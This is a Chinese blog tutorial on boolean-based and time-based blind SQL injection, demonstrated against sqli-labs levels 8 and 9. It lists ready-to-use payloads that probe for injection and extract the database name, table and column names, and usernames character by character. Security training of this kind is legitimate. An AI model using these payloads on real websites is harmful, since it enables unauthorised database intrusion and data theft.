SQL bool盲注和时间盲注详解
作者:永远是少年啊 发布时间:2024-01-21 23:42:52
今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL bool盲注和时间盲注。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
一、bool盲注和时间盲注常用函数
1、休眠函数
sleep()是SQL语句中用于休眠的函数,时间盲注中常用,sleep(x)可以让程序休眠x秒。
2、字符串截取函数
字符串截取函数是bool盲注和时间盲注中都需要使用的函数。常用的字符串截取函数有mid()、substr()、left()。
mid()函数格式为:
mid(【目标字段】,【开始的位置】,【截取长度】)
其中,开始的位置默认从1开始。
substr()函数的用法与mid相似,left函数则默认从字段的最左边开始截取,其格式为:
left(【目标字段】,【截取长度】)
表示从目标字段的左边开始截取指定长度的字符。
3、字符串长度函数
字符串长度函数length()会应用在SQL bool盲注和时间盲注中,length()函数可以反馈目标字符串的长度。
4、ascii码转换函数
ascii码转换函数可以将一个字符转换成ascii码,在SQL基于时间的盲注和基于bool的盲注中,ascii码转换函数可以将一个字符转换成其ascii码值。常用的ascii码转换函数为ascii()、ord()。
5、条件判断函数
条件判断函数if是SQL时间盲注中的必用函数,可以利用if函数来根据条件来反馈不同的结果。
if函数格式如下所示:
if(【条件】,【值1】,【值2】)
当条件成立时,if函数返回值1,当条件不成立时,if函数返回值2.
二、bool盲注和时间盲注payload
1、SQL注入点探测
我们使用sqli_lab的靶场,对基于bool的盲注和基于时间的盲注进行讲解,在sqli_lab靶场中,基于bool的盲注是第8关,基于时间的盲注是第9关,页面如下所示:
对于bool类型的盲注,我们可以通过执行以下payload来探测是否存在注入点:
id=1'and 1=2#
如果显示异常,那么就说明and后面的内容被成功执行,因此可能存在bool类型的SQL注入。
对于时间类型的盲注,我们可以通过执行以下payload来探测是否存在注入点:
id=1'and sleep(10)#
如果网页反应时间出现了明显延迟,就说明存在基于时间的SQL注入。
2、猜解数据库名
bool类型的盲注猜解数据库长度payload如下所示:
id=1'and length(database())>10#
时间类型的盲注猜解数据库长度payload如下所示:
id=1'and sleep(if(length(database())>10,10,1))>10#
bool类型的盲注猜解数据库名称payload如下所示:
id=1'and ascii(mid(database(),1,1))>115#
时间类型的盲注猜解数据库名称payload如下所示:
id=1'and sleep(if(ascii(mid(database(),1,1))>115,10,1))#
上述四个payload,length函数用于反馈查询结果的长度,mid函数用于截取查询结果的指定字符,ascii函数用于将其转换为ascii码的形式,if函数中第一个参数为一个判断表达式,本质上是bool类型盲注的核心,后面的10和1分别为表达式成立或者不成立条件下的返回值,该返回值为sleep函数的输入,以此就可以控制网页反应的时间。
3、猜解表名
bool类型的盲注表名个数猜解payload如下所示:
id=1'and (select count(*) from information_schema.tables where table_schema=database())>2#
时间类型的盲注表名个数猜解payload如下所示:
id=1'and sleep(if((select count(*) from information_schema.tables where table_schema=database())>2,10,1))#
bool类型的盲注表名猜解payload如下所示:
id=1'and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#
时间类型的盲注表名猜解payload如下所示:
id=1'and sleep(if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100),10,1))#
在上述4个payload中,其原理与之前介绍的相似,但是是使用limit函数来不断的控制反馈的变量。
4、猜解字段名
bool类型的盲注字段名个数猜解payload如下所示:
id=1'and (select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1#
时间类型的盲注字段名个数猜解payload如下所示:
id=1'and sleep(if((select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1,10,1))#
bool类型的盲注字段名个数猜解payload如下所示:
id=1'and ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000#
时间类型的盲注字段名个数猜解payload如下所示:
id=1'and sleep(if(ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000,10,1))#
其原理与之前类似。
5、猜解数据
bool类型的盲注数据长度猜解payload如下所示:
id=1'and (select count(*) from users)>1#
时间类型的盲注数据长度猜解payload如下所示:
id=1'and sleep(if((select count(*) from users)>1,10,1))#
bool类型的盲注数据猜解payload如下所示:
id=1'and ascii(mid((select username from users limit 0,1),1,1))>1#
时间类型的盲注数据猜解payload如下所示:
id=1'and sleep(if(ascii(mid((select username from users limit 0,1),1,1))>1,10,1))#
来源:https://blog.csdn.net/weixin_40228200/article/details/125829810


猜你喜欢
- 在urls.py文件中按照如下步骤写,即可正确使用DRF的内置路由.from .views import BookModel # 1. 导入
- 英文原文:http://www.456bereastreet.com/archive/200601/css_3_selectors_expl
- php5.2新增的json功能是非常受欢迎的,但是经过测试发现, json_encode对中文的处理是有问题的, 1.不能处理GB编码,所有
- RSA算法是一种非对称加密算法,是现在广泛使用的公钥加密算法,主要应用是加密信息和数字签名。 * 给出的RSA算法简介如下: 假设Alic
- 最近在做学院的选课系统时,在分页上被卡壳了一下,因为需要用到排序,所以不能像以前一样用一个自动递增的字段作为主键,然后仅仅是对这个主键来做统
- 前言在部署一些定时运行或者长期运行的任务时,为了留存一些导致程序出现异常或错误的信息,通常会才用日志的方式来进行记录这些信息。python内
- js数字转换为float,取N个小数:=========================================javascript
- Python进程池是Python标准库中multiprocessing模块提供的一种用于管理进程的方式。它可以使Python程序以并行的方式
- 队列和优先队列(Priority Queue)队列是一种可以完成插入和删除的数据结构。普通队列是先进先出(FIFO), 即先插入的先被删除。
- 1、简介FastAPI 是一个用于构建 API 的现代、快速(高性能)的 web 框架,使用 Python 3.6+ 并基于标准的 Pyth
- python判断字符串的前两个字母是否是”id"你可以使用 Python 的字符串切片来判断一个字符串的前两个
- 前言小程序跳一跳最近很火,之前爆出微信游戏小程序漏洞,网上也不乏大神。这里就用一大神的python脚本来刷下高分。 跳一跳python脚本传
- 回顾我们的python制作小游戏之路,几篇非常精彩的文章我们用python实现了坦克大战python制作坦克大战我们用python实现了飞船
- MySQL安装文件已被广泛应用但是也在不断的更新,这里介绍MySQL安装文件设置使用,帮助大家安装更新MySQL安装文件系统。Fedora5
- 如何生成斐波那契數列斐波那契(Fibonacci)數列是一个非常简单的递归数列,除第一个和第二个数外,任意一个数都可由前两个数相加得到。用计
- 由于工作需要,在做最优分箱的时候,始终写不出来高效的代码,所以就找到了R语言中的最优分箱的包,这个时候考虑到了在python中调用R语言,完
- 本文实例讲述了js中火星坐标、百度坐标、WGS84坐标转换实现方法。分享给大家供大家参考,具体如下://定义一些常量var x_PI = 3
- 代码如下:'返回指定文件夹中文件的数目,传入值为被检测文件夹的硬盘绝对路径 function CountFile
- MySQL有多种存储引擎:MyISAM、InnoDB、MERGE、MEMORY(HEAP)、BDB(BerkeleyDB)、EXAMPLE、
- 在使用Keras搭建验证码识别模型时,需要大量的验证码图片。在这里,使用captcha模块生成验证码图片,验证码图片名称为验证码上显示的字符